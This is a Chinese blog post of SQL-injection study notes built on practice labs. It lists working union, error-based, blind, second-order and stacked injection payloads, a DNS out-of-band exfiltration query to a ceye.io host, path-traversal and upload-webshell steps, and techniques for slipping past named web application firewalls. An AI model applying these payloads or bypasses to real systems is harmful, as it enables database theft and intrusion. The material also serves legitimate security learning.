AI 助理
备案控制台
开发者社区 数据库 文章 正文

【网络安全】SQL注入

2024-01-13 236
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
RDS MySQL Serverless 基础系列，0.5-2RCU 50GB
推荐场景：
学生管理系统数据库设计 搭建个人博客
云数据库 RDS MySQL，集群系列 2核4GB
推荐场景：
搭建个人博客
Web应用防火墙 3.0，每月20元额度 3个月
推荐场景：
阿里云WAAP安全再获技术&市场双认可
简介： 【网络安全】SQL注入

一、Web漏洞基础

1、CTF，SRC，红蓝对抗，实战

1）漏洞危害情况

  1. 获取网站的数据库的权限（数据），后台账号和密码 --> SQL注入
  2. 直接获取网站权限 --> 文件上传

2）漏洞等级划分

  1. 高危：文件上传、SQL注入、代码执行、文件包含、未授权访问
  2. 中危：逻辑安全、目录遍历
  3. 低危：信息泄露 --> 源码、部分账号密码

3）漏洞重点内容

  1. CTF：SQL注入、反序列化、代码执行
  2. SRC：以上都有，逻辑安全 --> 0元购买
  3. 红蓝对抗：高危漏洞 --> 权限

4）漏洞形势问题

SQL注入网上没有；信息收集少；知识点不够；网站上确实没有此漏洞

2、SQL 注入漏洞

pikachu靶场： https://github.com/zhuifengshaonianhanlu/pikachu

phpstudy：https://www.xp.cn/

id=1 and 1=1 union select username,password from users
if(isset($_POST['submit']) && $_POST['id']!=null){
    //这里没有做任何处理，直接拼到select里面去了,形成Sql注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    //这里如果用==1,会严格一点
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在，请重新输入！</p>";
    }
}

3、目录遍历漏洞

需要源码白盒测试，了解网站目录

通过相对路径../访问父目录的文件

http://localhost:2560/pikachu/vul/dir/dir_list.php?title=../../../../index.php

文件路径的获取

  1. 扫描工具（御剑）获取
  2. 首页的源代码获取
  3. 找相应cms

4、文件上传漏洞

  1. 上传PHP文件：上传失败，只能是图片格式
  2. 将文件改为JPG格式上传：上传成功
  3. 通过路径提示访问文件的地址：访问失败
  4. 抓包修改，将ipg的数据包x.jpg改为x.php格式，发送
  5. 再次访问图片的地址：执行PHP脚本（也可以用菜刀留后门）

5、文件下载漏洞

通过改变浏览器路径来下载之前的dir.php文件

http://localhost:2560/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

下载拿到数据库配置文件

二、数据库类型

1、MySQL

墨者靶场-MySQL： https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

1）检测注入点

2）拆解列名数量（字段数）

order by 猜测数据表的id值的多少

id=1 order by 4

3）报错拆解

id=-1 union select 1,2,3,4

4）信息收集

数据库版本：version()

数据库名称：database()

数据库用户：user()

操作系统：@@version_compile_os

数据库版本：5.7.22-0ubuntu0.16.04.1

数据库名称：mozhe_Discuz_StormGroup

5）获取数据

在MySQL5.0以上的版本中，MySQL存在一个自带数据库名为：information_schema，它是一个存储有所有数据库名、表名、列名的数据库，也相当于可以通过查询他获取指定数据库下面的表面和列表信息。

数据库中符号“.”代表下一级，如xiaodi.user，表示xiaodi数据库下面的uesr表名。

  1. information_schema.tables：记录所有表名信息的表
  2. information_schema.columns：记录所有列名信息的表
  3. table_schema：数据库名
  4. table_name：表名
  5. column_name：列名
id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

默认显示一个表，可以利用 group_concat(table_name)显示出所以的表 
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

id=-1 union select 1,name,password,4 from StormGroup_member

6）解密拿Key

356f589a7df439f6f744ff19bb8092c0 --> dsan13

可能还存在其他账号，利用group_concat()再次查询

id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

32befa923d8b8e2e311fab16425e4f85 --> 301758

mozhe9bc92a5befb8ffc4c8327f0af8b

2、Access

Access： 表名/列名/数据---只能暴力猜解，数据库互不相干

MySQL等：数据库名/表名/列名/数据---高版本查看索引表

墨者靶场-Access： https://www.mozhe.cn/bug/Rm5aSU1PNjhHWTA3N1FFUk8vbXZKUT09bW96aGUmozhe

1）sqlmap查询数据库类型

python sqlmap.py -u "http://219.153.49.228:44165/new_list.asp?id=1"

2）检测是否可以注入

and 1 = 1：正常

and 1 = 2：空白

3）猜解id的个数

4）检测注入点

Access无法检测，只能暴力猜解表名、列名、数据

猜解存在admin表，猜解admin表存在username列名和passwd列名

access注入猜解表名、列名失败：SQLmap字典

5）拿到key

MD5解密

登录后台

mozhe56ed60816ee2fe84a89b48e475c

3、Sql Server

利用软件：穿山甲pangolin扫描工具

墨者靶场-Sql Server： https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

1）扫描

2）获取数据

3）md5解密

4）登录拿Key

mozheb054e7502e3d9461424830c9f0f

4、PostgreSQL

1）order by 猜解

2）注入点查询

注意加引号

3）爆库

union select '1',(select current_database()),'3','4'

爆库原理

4）爆表/列名

union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1

union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 offset 1-4---分别id、name、password

5）爆数据

union select null,name||'::'||password,null,null from public.reg_users

三、参数类型与提交注入

1、明确参数类型

数字：id=1为数字型，int、float、double

字符：字符串必须要加上'

/* 注入语句 */
?x=xiaodi and 1=1
/* 数据库查询语句 --> 注入失效 */
select * from user where name='xiaodi and 1=1';
/* 正确注入方式 */
?x=xiaodi' and 1='1
select * from user where name='xiaodi' and 1='1';

sql搜索

select * from user where name like '%xiaodi%';

JSON：键值对

2、字符型注入

sqlilabs_Less-5

1）测试注入点

发现1=2并没有报错

2）字符注入

3）猜解id个数

4）注入查询

联合查询 --> 无回显

利用报错注入

?id=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

3、提交注入

sqlilabs_Less-11

POST注入利用抓包工具

关于注释符号的使用

GET：#、--+

POST：#、--(空格)

url编码中+会变成空格

四、报错盲注

盲注就是在注入过程中，获取的数据不能回显至前端页面（因为像insert、delete等查询语句即使执行成功，也不会回显。此外，网站的前端页面显示也会限制）。

我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。

1、报错回显

0x7e为~（特殊字符），注入一般为注入工具通过正则表达式查找结果

Pikachu-insert注入

1）floor

username=' or (select 1 from(select count(*),concat ((select (select (select concat(0x7e,user(), 0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

2）updatexml

username=' or updatexml (1, concat (0x7e, (version ())), 0) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

3）extractvalue

username=' or extractvalue(1,concat(0x7e, database())) or ' &password=123&sex=123&phonenum=123&email=123&submit=submit

2、延时盲注

select * from member where id=1 and sleep(if(database()= 'a', 5,0));

成立延迟5s、不成立延迟0s --> 不需要回显

先获取数据库的长度(len)，再猜解第一位，第二位，以此类推...（巨麻烦）

ascii码方便脚本遍历

mid (a, b, c)    #从位置b开始，截取a字符串的c位
substr(a, b, c)    #从b位置开始，截取字符串a的c长度
left(database(),1), database()    #1eft(a.b)从左侧截取a的前b位
length(database())=8    #判断数据库database名的长度
ascii(x)=97        #判断x的ascii码是否等于97
延迟受到网络速度的局限，并不准确

3、布尔盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
      echo '<font size="5" color="#FFFF00">';    
      echo 'You are in...........';
      echo "<br>";
        echo "</font>";
      }
    else 
    {
    
    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    
    
    }

特点：虽然$row无回显，但是$row进行了布尔判断

/Less-5/?id=1' and length(database())>8--+
/Less-5/?id=1' and left(database(),1)=’se’--+

五、注入拓展

1、加解密注入

若参数加密，注入代码也要相应加密

<?php
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
?>

可以通过SalMap间接注入：利用file_get_contents函数

<?php
$url='http://rexhao.work?id=';
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
echo $urls;
echo file_get_contents($urls);
?>

使用sqlmap跑本地php文件，间接注入原网站

2、二次注入

应用场景：存在网站源码、代码审计

靶场：sqlilabs-less24

注册用户：admin'##

二次注入：修改密码为123456

结果：admin的密码被改成123456

## SQL代码
UPDATE users SET PASSWORD='$new' where username='$un' and password='$old'

## 二次注入
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='admin'

将用户名改成报错注入的代码

长度限制

前端（写在html中的）：<input maxlength="2048" > --> 修改Maxlength

后端：无法突破

3、dnslog带外注入

1）手工注入

前提：需要文件读取 --> 需要高权限

将盲注的结果通过dns解析的方式发送到平台，以显示结果

利用ceye平台：http: //ceye.io/

select * from USER where id=1 and if((select load_file(concat('\\\\',(select version()),'.vhta15.ceye.io\test'))),1,0);

2）DnslogIng

Python2运行（上不去...摆烂了！）

下载：https://github.com/AD000/DnslogSqlinj

原理：工具生成dnslog代码

4、堆叠注入

堆叠注入：从名词的含义就可以看到应该是一堆sql 语句（多条）一起执行。而在真实的运用中也是这样的，我们知道在mysql 中，主要是命令行中，每一条语句结尾加; 表示语句结束。

堆叠注入的用法：

注入需要管理员的账号密码，密码是加密的，无法解密

堆叠注入在用户表中插入数据，用户密码自定义可以无需解密实施登录

六、waf绕过注入

1、常用waf

  1. 阿里云盾：阿里云服务器自带的防护软件
  2. 宝塔面板：很多小型网站都利用宝塔搭建
  3. 网站安全狗：免费

2、更换提交方式

采用post提交注入，网页可以显示，但是显示不正常：网站只能采用get方式接受，所以post的传参没有成功

POST提交应该用#注释

3、数据变异

有些语句，添加的某些特殊符号，并没有影响语句的执行效果。在waf绕过中，检测这些特殊符号干扰了检测机制（正则），从而绕过检测。

1）大小写/关键字替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

and=&

or=|

2）注释使用

//
--
--+
#
/**/
:%00
/!**/

/Less-2/?id=-1 union%23a%0Aselect 1,2,3;%23

%23 --> 换行

%0A --> #

a --> 阻止安全狗匹配

union a select 不会被安全狗屏蔽掉，但是多了a，需要用#a将a注释，然后换行，语句直接执行 union select 1,2,3#;

但是2021新版本安全狗也拦截了...

/*! select version(); */：代码也可以运行

3）再次循环

union --> uunionnion

4）特殊符号

4、参数污染

具体服务端处理方式如下：

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache Getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All(comma-delimited string) 
id=1/**&id=-1%20union%20select%201,2,3%23*/

安全狗匹配的和Apache接收的参数不同

5、fuzz（模糊/暴力测试）

对%0A进行猜解循环，如%0A；%0B; %0C; %0D; %0E等等，生成多种可能性，使得数据包的发送没有拦截软件，那条语句代码被认为绕过注入。

6、白名单

1）IP 白名单

从网络层获取的 ip，这种一般伪造不来，如果是获取客户端的 IP，这样就可能存在伪造 IP 绕过的情况。

测试方法：修改 http 的 header 来 bypass waf

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

2）静态资源

特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css 等等)，类似白名单机制，waf 为了检测效率，不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注：Aspx/php 只识别到前面的 .aspx/.php 后面基本不识别

3）url 白名单

为了防止误拦，部分 waf 内置默认的白名单列表，如 admin/manager/system 等管理后台。

只要 url中存在白名单的字符串，就作为白名单不进行检测

4）爬虫白名单

伪造成百度，搜狐，谷歌的爬虫进行访问，速度很快，可以通过Python脚本伪装成百度的爬虫

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
安全狗的ip白名单里的爬虫白名单里面有百度爬虫

7、SqlMap绕过

1）自定义tamper文件

python sqlmap.py -u "http://xxx" -tamper=safedog.py

2）代理服务器

python sqlmap.py -u "http://xxx" --proxy"=http://127.0.0.1:8080"

3）修改ua头

指定ua头

python sqlmap.py -u "http://xxx" --random-agent --user-agent="Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)"

随机ua头

python sqlmap.py -u "http://xxx" --random-agent

4）修改不支持修改的参数

  1. 中转脚本
  2. 将注入语句写入txt文件中，然后进行按行读取
文章标签：
云数据库 RDS MySQL 版
Web应用防火墙
安全
数据库
SQL
数据安全/隐私保护
关系型数据库
关键词：
SQL注入
相关实践学习
如何在云端创建MySQL数据库
开始实验后，系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心，利用清洁计算为万物互联的新世界提供源源不断的能源动力，目前开服的区域包括中国（华北、华东、华南、香港）、新加坡、美国（美东、美西）、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程，来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品：云服务器ECS 云服务器 ECS（Elastic Compute Service）是一种弹性可伸缩的计算服务，助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
wmh1024
目录
相关文章
土木林森
|
5月前
|
SQL 存储 安全
逆袭黑客！掌握Python Web安全精髓，让SQL注入、XSS、CSRF无所遁形！
【7月更文挑战第25天】
土木林森
193 11
蓝易云
|
27天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式，攻击者可以通过 `UNION`语句合并多个查询的结果，从而获取敏感信息。防御SQL注入需要多层次的措施，包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施，可以有效地提高Web应用程序的安全性，防止SQL注入攻击。
蓝易云
49 2
东方睿赢
|
3月前
|
SQL 安全 数据库
惊！Python Web安全黑洞大曝光：SQL注入、XSS、CSRF，你中招了吗？
在数字化时代，Web应用的安全性至关重要。许多Python开发者在追求功能时，常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践：使用参数化查询预防SQL注入；通过HTML转义阻止XSS攻击；在表单中加入CSRF令牌增强安全性。遵循这些方法，可有效提升Web应用的安全防护水平，保护用户数据与隐私。安全需持续关注与改进，每个细节都至关重要。
东方睿赢
141 5
众所周知
|
3月前
|
SQL 安全 数据库
深度揭秘：Python Web安全攻防战，SQL注入、XSS、CSRF一网打尽！
在Web开发领域，Python虽强大灵活，却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段，并提供示例代码，展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线，确保Python Web应用的安全性。安全之路永无止境，唯有不断改进方能应对挑战。
众所周知
81 5
众所周知
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战：面对SQL注入、XSS、CSRF，你准备好了吗？
在构建Python Web应用时，安全性至关重要。本文通过三个真实案例，探讨了如何防范SQL注入、XSS和CSRF攻击。首先，通过参数化查询替代字符串拼接，防止SQL注入；其次，利用HTML转义机制，避免XSS攻击；最后，采用CSRF令牌验证，保护用户免受CSRF攻击。这些策略能显著增强应用的安全性，帮助开发者应对复杂的网络威胁。安全是一个持续的过程，需不断学习新知识以抵御不断变化的威胁。
众所周知
126 1
东方睿赢
|
3月前
|
SQL 安全 数据库
Python Web开发者必看！SQL注入、XSS、CSRF全面解析，守护你的网站安全！
在Python Web开发中，构建安全应用至关重要。本文通过问答形式，详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF，并提供了实用的防御策略及示例代码。针对SQL注入，建议使用参数化查询；对于XSS，需对输出进行HTML编码；而防范CSRF，则应利用CSRF令牌。通过这些措施，帮助开发者有效提升应用安全性，确保网站稳定运行。
东方睿赢
54 1
众所周知
|
3月前
|
SQL 安全 数据库
深度揭秘：Python Web安全攻防战，SQL注入、XSS、CSRF一网打尽！
在Web开发领域，Python虽强大灵活，但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁：SQL注入、XSS及CSRF，并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线，助您打造更安全的应用。安全是一场持久战，需不断改进优化。
众所周知
58 3
龙大吉
|
3月前
|
SQL 安全 数据库
从入门到精通：Python Web安全守护指南，SQL注入、XSS、CSRF全防御！
【9月更文挑战第13天】在开发Python Web应用时，安全性至关重要。本文通过问答形式，详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术，确保应用安全。附带示例代码，帮助读者从入门到精通Python Web安全。
龙大吉
95 6
龙大吉
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白！Python实战指南：抵御SQL注入、XSS、CSRF的秘密武器！
【9月更文挑战第12天】在Web开发中，安全漏洞如同暗礁，尤其对初学者而言，SQL注入、跨站脚本（XSS）和跨站请求伪造（CSRF）是常见挑战。本文通过实战案例，展示如何利用Python应对这些威胁。首先，通过参数化查询防止SQL注入；其次，借助Jinja2模板引擎自动转义机制抵御XSS攻击；最后，使用Flask-WTF库生成和验证CSRF令牌，确保转账功能安全。掌握这些技巧，助你构建更安全的Web应用。
龙大吉
62 5
众所周知
|
5月前
|
SQL 安全 数据库
Python Web开发者必学：SQL注入、XSS、CSRF攻击与防御实战演练！
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁，提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范；XSS 则需 HTML 转义用户输入与实施 CSP；CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧，能有效加固 Web 应用的安全防线。安全是持续的过程，需贯穿开发始终。
众所周知
98 1
Python Web开发者必学：SQL注入、XSS、CSRF攻击与防御实战演练！

热门文章

最新文章

  • 1
    PostgreSQL SQL HINT的使用
  • 2
    SQL0286N. DB2表空间的pagesize问题
  • 3
    SQL语句如何强制使用索引
  • 4
    SQL Server 统计信息更新时采样百分比对数据预估准确性的影响
  • 5
    SQL SERVER2005建Link Server
  • 6
    【代码分享-SQL】为DB中所有Table增加PK
  • 7
    SQL Server CLR 使用 C# 自定义存储过程和触发器
  • 8
    tempdb对SQL Server性能的影响 <转>
  • 9
    SQL SERVER 2012 执行计划走嵌套循环导致性能问题的案例
  • 10
    Sql Server在建好的表中，新增一列
  • 1
    SQL脚本相除
    70
  • 2
    0基础学习SQL注入之万能账号密码（BUUctf例题-[极客大挑战 2019]EasySQL1）
    660
  • 3
    SQL脚本利用带关联子查询Update语句更新数据
    135
  • 4
    10分钟了解Flink SQL使用
    390
  • 5
    SQL脚本把多行SQL数据变成一条多列数据
    118
  • 6
    mybatis动态sql
    44
  • 7
    基于若依的ruoyi-nbcio流程管理系统修改代码生成的sql菜单id修改成递增id（谨慎修改，大并发分布式有弊端）
    111
  • 8
    SQL脚本字符串替换
    72
  • 9
    你写的每条SQL都是全表扫描吗
    183
  • 10
    数据库SQL语言实战（六）
    54

    • 相关课程

    更多
  • 如何在 PolarDB-X 中优化慢 SQL
  • SQL完全自学手册
  • SQL Server on Linux入门教程
  • SQL入门与实践
  • 数据库及SQL/MySQL基础
  • SQL进阶及查询

    • 相关电子书

    更多
  • SQL Server在电子商务中的应用与实践
  • GeoMesa on Spark SQL
  • 原生SQL on Hadoop引擎- Apache HAWQ 2.x最新技术解密malili

    • 相关实验场景

    更多
  • PolarDB for AI：在数据库中通过SQL实现AI能力
  • 玩转MaxCompute SQL! 30分钟搞定数据分析挖掘
  • 使用SQL语句实现数据表管理
  • 使用SQL语句实现数据插入、修改和删除操作
  • 使用SQL语句实现数据查询操作
  • 使用SQL语句管理索引
    • 下一篇
    fs.oss.accessKeyId和fs.oss.accessKeySecret。